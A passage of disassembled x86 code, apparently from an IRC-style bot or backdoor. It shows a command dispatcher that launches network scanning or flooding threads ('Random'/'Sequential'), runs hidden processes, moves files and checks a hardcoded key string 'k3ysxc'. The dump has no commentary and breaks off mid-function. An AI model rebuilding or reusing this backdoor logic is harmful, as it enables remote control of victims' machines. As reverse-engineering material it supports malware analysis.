loc_406C3A:				; CODE XREF: sub_401AC7+5134j
					; sub_401AC7+5157j
		cmp	[ebp+var_370], ebx
		jnz	short loc_406C4C
		push	offset unk_42D0AC
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_406C4C:				; CODE XREF: sub_401AC7+5179j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_406C87
		cmp	byte ptr [edi],	23h
		jz	short loc_406C87
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_417E90
		push	78h
		push	edi
		call	sub_4184B0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_406D61
; ---------------------------------------------------------------------------


loc_406C87:				; CODE XREF: sub_401AC7+518Ej
					; sub_401AC7+5193j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_406CA9
		cmp	[ebp+var_8FE], bl
		jnz	short loc_406CA9
		cmp	[ebp+var_8EE], bl
		jnz	short loc_406CA9
		push	offset unk_42D078
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_406CA9:				; CODE XREF: sub_401AC7+51C6j
					; sub_401AC7+51CEj ...
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4C97A8	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_417B00
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_406D5B
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_418340
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_406D4F


loc_406D2D:				; CODE XREF: sub_401AC7+5286j
		cmp	eax, ebx
		jz	short loc_406D4F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_418340
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_406D2D


loc_406D4F:				; CODE XREF: sub_401AC7+5264j
					; sub_401AC7+5268j
		mov	[ebp+var_344], 1
		jmp	short loc_406D61
; ---------------------------------------------------------------------------


loc_406D5B:				; CODE XREF: sub_401AC7+523Ej
		mov	[ebp+var_344], ebx


loc_406D61:				; CODE XREF: sub_401AC7+51BBj
					; sub_401AC7+5292j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_417E90
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_406DB2


loc_406D9F:				; CODE XREF: sub_401AC7+530Ej
		push	esi


loc_406DA0:				; CODE XREF: sub_401AC7+52F8j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 0Ch
		jmp	short loc_406DDD
; ---------------------------------------------------------------------------


loc_406DB2:				; CODE XREF: sub_401AC7+52D6j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_406DC1
		cmp	byte ptr [eax],	23h
		jnz	short loc_406DC1
		push	eax
		jmp	short loc_406DA0
; ---------------------------------------------------------------------------


loc_406DC1:				; CODE XREF: sub_401AC7+52F0j
					; sub_401AC7+52F5j
		mov	esi, offset dword_42512C
		push	offset byte_43B9B8
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406D9F
		mov	[ebp+var_3F4], bl


loc_406DDD:				; CODE XREF: sub_401AC7+52E9j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_406DEF
		mov	eax, offset aSequential	; "Sequential"


loc_406DEF:				; CODE XREF: sub_401AC7+5321j
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D010
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40A203
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset sub_40B43D
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_406E7D


loc_406E67:				; CODE XREF: sub_401AC7+53B4j
		cmp	[ebp+var_340], ebx
		jnz	loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_406E67
; ---------------------------------------------------------------------------


loc_406E7D:				; CODE XREF: sub_401AC7+539Ej
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CFD8
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_406E8E:				; CODE XREF: sub_401AC7+4690j
					; sub_401AC7+46A7j
		push	[ebp+arg_10]
		call	sub_409C07
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_417C89
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_417C89
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_417C89
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_417B00
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CF88
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40A203
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset sub_40B85A
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_406F83


loc_406F6D:				; CODE XREF: sub_401AC7+54BAj
		cmp	[ebp+var_4D0], ebx
		jnz	loc_4038ED
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_406F6D
; ---------------------------------------------------------------------------


loc_406F83:				; CODE XREF: sub_401AC7+54A4j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CF4C
		jmp	loc_4038DE
; ---------------------------------------------------------------------------


loc_406F94:				; CODE XREF: sub_401AC7+4653j
					; sub_401AC7+466Aj
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		cmp	byte_43C758[eax], bl
		jz	loc_408A45
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	edi
		call	sub_4176F0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_4176F0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_4176F0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417E10
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42CF40
		push	eax
		call	sub_417D96
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C5D
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43C540[eax], 73h
		jnz	loc_408A45
		push	esi
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43C758
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_407084:				; CODE XREF: sub_401AC7+56BFj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		jmp	loc_403BF3
; ---------------------------------------------------------------------------


loc_4070AE:				; CODE XREF: sub_401AC7+4625j
					; sub_401AC7+463Cj
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		cmp	byte_43C758[eax], bl
		jz	loc_408A45
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	edi
		call	sub_4176F0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_4176F0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_4176F0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417E10
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C5D
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43C540[eax], 73h
		jnz	loc_408A45
		push	esi
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43C758
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_407084
; ---------------------------------------------------------------------------


loc_40718B:				; CODE XREF: sub_401AC7+45F7j
					; sub_401AC7+460Ej
		push	[ebp+arg_10]
		call	dword_4C983C	; inet_addr
		push	edi
		mov	[ebp+var_680], eax
		call	sub_417C89
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_417C89
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_417B00
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEE4
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset sub_40B769
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40726D


loc_407257:				; CODE XREF: sub_401AC7+57A4j
		cmp	[ebp+var_670], ebx
		jnz	loc_4038ED
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407257
; ---------------------------------------------------------------------------


loc_40726D:				; CODE XREF: sub_401AC7+578Ej
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CFD8
		jmp	loc_4038DE
; ---------------------------------------------------------------------------


loc_40727E:				; CODE XREF: sub_401AC7+45C9j
					; sub_401AC7+45E0j
		push	[ebp+arg_10]
		call	sub_417C89
		mov	[ebp+var_ED8], eax
		push	7Fh
		lea	eax, [ebp+var_FDC]
		push	edi
		push	eax
		call	sub_417B00
		push	[ebp+arg_0]
		call	sub_417C89
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_EDC], eax
		lea	eax, [ebp+var_F5C]
		push	80h
		push	eax
		mov	[ebp+var_FE4], esi
		call	sub_417E90
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_EC8], eax
		push	[ebp+var_EDC]
		lea	eax, [ebp+var_FDC]
		mov	[ebp+var_ECC], edi
		push	eax
		push	[ebp+var_ED8]
		push	esi
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEA8
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40A203
		add	esp, 24h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FE4]
		push	ebx
		push	eax
		push	offset sub_40F4A2
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407367


loc_407351:				; CODE XREF: sub_401AC7+589Ej
		cmp	[ebp+var_EC4], ebx
		jnz	loc_4038ED
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407351
; ---------------------------------------------------------------------------


loc_407367:				; CODE XREF: sub_401AC7+5888j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CE64
		jmp	loc_4038DE
; ---------------------------------------------------------------------------


loc_407378:				; CODE XREF: sub_401AC7+459Bj
					; sub_401AC7+45B2j
		push	0FFh
		lea	eax, [ebp+var_2128]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	0FFh
		lea	eax, [ebp+var_2028]
		push	edi
		push	eax
		call	sub_417B00
		push	[ebp+arg_0]
		mov	[ebp+var_1F24],	ebx
		call	sub_417C89
		mov	[ebp+var_1F20],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4073D1
		push	10h
		push	ebx
		push	eax
		call	sub_4182BE
		add	esp, 0Ch
		mov	[ebp+var_1F18],	eax
		jmp	short loc_4073D7
; ---------------------------------------------------------------------------


loc_4073D1:				; CODE XREF: sub_401AC7+58F4j
		mov	[ebp+var_1F18],	ebx


loc_4073D7:				; CODE XREF: sub_401AC7+5908j
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_4073EE
		push	esi
		call	sub_417C89
		pop	ecx
		mov	[ebp+var_1F1C],	eax
		jmp	short loc_4073F4
; ---------------------------------------------------------------------------


loc_4073EE:				; CODE XREF: sub_401AC7+5916j
		mov	[ebp+var_1F1C],	ebx


loc_4073F4:				; CODE XREF: sub_401AC7+5925j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_1F14],	eax
		lea	eax, [ebp+var_21A8]
		mov	[ebp+var_21AC],	esi
		push	eax
		call	sub_417B00
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_1F0C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F10],	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CE38
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40A203
		add	esp, 28h
		mov	[ebp+var_1F28],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_21AC]
		push	ebx
		push	eax
		push	offset sub_413F23
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_1F28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_4074A2


loc_40748C:				; CODE XREF: sub_401AC7+59D9j
		cmp	[ebp+var_1F08],	ebx
		jnz	loc_40699B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40748C
; ---------------------------------------------------------------------------


loc_4074A2:				; CODE XREF: sub_401AC7+59C3j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CDF8
		jmp	loc_40698C
; ---------------------------------------------------------------------------


loc_4074B3:				; CODE XREF: sub_401AC7+456Dj
					; sub_401AC7+4584j
		push	7Fh
		lea	eax, [ebp+var_2DA0]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2D20]
		push	edi
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2CA0]
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2C20]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2B9C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2B98],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2DA4],	esi
		push	offset unk_42CDBC
		push	eax
		call	sub_417D96
		add	esp, 44h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	12h
		push	eax
		call	sub_40A203
		add	esp, 0Ch
		mov	[ebp+var_2BA0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2DA4]
		push	ebx
		push	eax
		push	offset sub_413446
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_2BA0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40758A


loc_407574:				; CODE XREF: sub_401AC7+5AC1j
		cmp	[ebp+var_2B94],	ebx
		jnz	loc_40699B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407574
; ---------------------------------------------------------------------------


loc_40758A:				; CODE XREF: sub_401AC7+5AABj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CD84
		jmp	loc_40698C
; ---------------------------------------------------------------------------


loc_40759B:				; CODE XREF: sub_401AC7+4440j
					; sub_401AC7+4457j
		push	7Fh
		lea	eax, [ebp+var_2B8C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2B0C]
		push	edi
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2A8C]
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2A0C]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2988],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2984],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2B90],	esi
		push	offset unk_42CD54
		push	eax
		call	sub_417D96
		add	esp, 44h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	0Eh
		push	eax
		call	sub_40A203
		add	esp, 0Ch
		mov	[ebp+var_298C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2B90]
		push	ebx
		push	eax
		push	offset sub_412180
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_298C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407672


loc_40765C:				; CODE XREF: sub_401AC7+5BA9j
		cmp	[ebp+var_2980],	ebx
		jnz	loc_40699B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40765C
; ---------------------------------------------------------------------------


loc_407672:				; CODE XREF: sub_401AC7+5B93j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CD1C
		jmp	loc_40698C
; ---------------------------------------------------------------------------


loc_407683:				; CODE XREF: sub_401AC7+4317j
					; sub_401AC7+432Ej ...
		push	7Fh
		lea	eax, [ebp+var_33E0]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_3360]
		push	edi
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_32E0]
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_3260]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		push	20h
		lea	eax, [ebp+var_31E0]
		push	[ebp+arg_8]
		push	eax
		call	sub_417B00
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3160],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_315C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_33E8],	esi
		push	offset unk_42CCEC
		push	eax
		call	sub_417D96
		add	esp, 50h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	0Dh
		push	eax
		call	sub_40A203
		add	esp, 0Ch
		mov	[ebp+var_33E4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_33E8]
		push	ebx
		push	eax
		push	offset sub_41140D
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_33E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40776B


loc_407755:				; CODE XREF: sub_401AC7+5CA2j
		cmp	[ebp+var_3158],	ebx
		jnz	loc_40699B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407755
; ---------------------------------------------------------------------------


loc_40776B:				; CODE XREF: sub_401AC7+5C8Cj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CCB4
		jmp	loc_40698C
; ---------------------------------------------------------------------------


loc_40777C:				; CODE XREF: sub_401AC7+42E9j
					; sub_401AC7+4300j
		push	7Fh
		lea	eax, [ebp+var_1524]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	edi
		call	sub_417C89
		push	3Fh
		mov	[ebp+var_13D4],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14A4]
		push	eax
		call	sub_417B00
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4077C7
		push	3Fh
		lea	eax, [ebp+var_1464]
		push	esi
		push	eax
		call	sub_417B00
		add	esp, 0Ch


loc_4077C7:				; CODE XREF: sub_401AC7+5CECj
		lea	eax, [ebp+var_14A4]
		mov	[ebp+var_13D0],	1
		push	eax
		lea	eax, [ebp+var_1524]
		push	[ebp+var_13D4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42CC84
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	[ebp+var_13CC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1528]
		push	ebx
		push	eax
		push	offset sub_4017E7
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_13CC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407853


loc_40783D:				; CODE XREF: sub_401AC7+5D8Aj
		cmp	[ebp+var_13C8],	ebx
		jnz	loc_4063FE
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40783D
; ---------------------------------------------------------------------------


loc_407853:				; CODE XREF: sub_401AC7+5D74j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CC48
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_407864:				; CODE XREF: sub_401AC7+42A9j
					; sub_401AC7+42C0j
		push	edi
		call	sub_417C89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_17A8],	eax
		jle	loc_407951
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1930]
		push	esi
		push	eax
		call	sub_417E90
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_17A4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1934],	eax
		lea	eax, [ebp+var_1830]
		push	esi
		push	eax
		call	sub_417E90
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_17A0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_179C],	eax
		push	offset unk_42CC1C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_417E90
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40A203
		add	esp, 38h
		mov	[ebp+var_17B0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1934]
		push	ebx
		push	eax
		push	offset sub_411854
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_17B0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407940


loc_40792E:				; CODE XREF: sub_401AC7+5E77j
		cmp	[ebp+var_1798],	ebx
		jnz	short loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40792E
; ---------------------------------------------------------------------------


loc_407940:				; CODE XREF: sub_401AC7+5E65j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CBE4
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_407951:				; CODE XREF: sub_401AC7+5DACj
		push	offset unk_42CBAC
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_40795B:				; CODE XREF: sub_401AC7+427Bj
					; sub_401AC7+4292j
		push	edi
		push	[ebp+arg_10]
		call	dword_4230B4	; MoveFileA
		test	eax, eax
		jz	short loc_407988
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42CB88
		push	200h
		push	eax
		call	sub_417E90


loc_407983:				; CODE XREF: sub_401AC7+2156j
		add	esp, 14h
		jmp	short loc_4079A7
; ---------------------------------------------------------------------------


loc_407988:				; CODE XREF: sub_401AC7+5EA0j
		push	offset dword_42CB7C
		call	sub_415221
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_417E90
		add	esp, 10h


loc_4079A7:				; CODE XREF: sub_401AC7+1C89j
					; sub_401AC7+2935j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4079C8
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4079C0:				; CODE XREF: sub_401AC7+4EEFj
		call	sub_408C5D
		add	esp, 14h


loc_4079C8:				; CODE XREF: sub_401AC7+138Cj
					; sub_401AC7+1E29j ...
		push	1
		pop	esi
		jmp	loc_406422
; ---------------------------------------------------------------------------


loc_4079D0:				; CODE XREF: sub_401AC7+424Dj
					; sub_401AC7+4264j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417AA0
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_417C89
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_407A0F
		mov	[ebp+var_638], 5


loc_407A0F:				; CODE XREF: sub_401AC7+5F3Dj
		cmp	[ebp+var_C], ebx
		jz	loc_4063FE
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_4063FE
		lea	eax, [ebp+var_C84]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_42306C	; CreateProcessA
		test	eax, eax
		jnz	short loc_407A58
		push	offset unk_42CB58
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_407A58:				; CODE XREF: sub_401AC7+5F85j
		push	edi
		push	offset dword_42CB3C
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_407A63:				; CODE XREF: sub_401AC7+421Fj
					; sub_401AC7+4236j
		push	edi
		push	offset aK3ysxc	; "k3ysxc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BD6
		lea	eax, [ebp+var_4454]
		push	eax
		push	104h
		call	dword_4230B0	; GetTempPathA
		push	0FFh
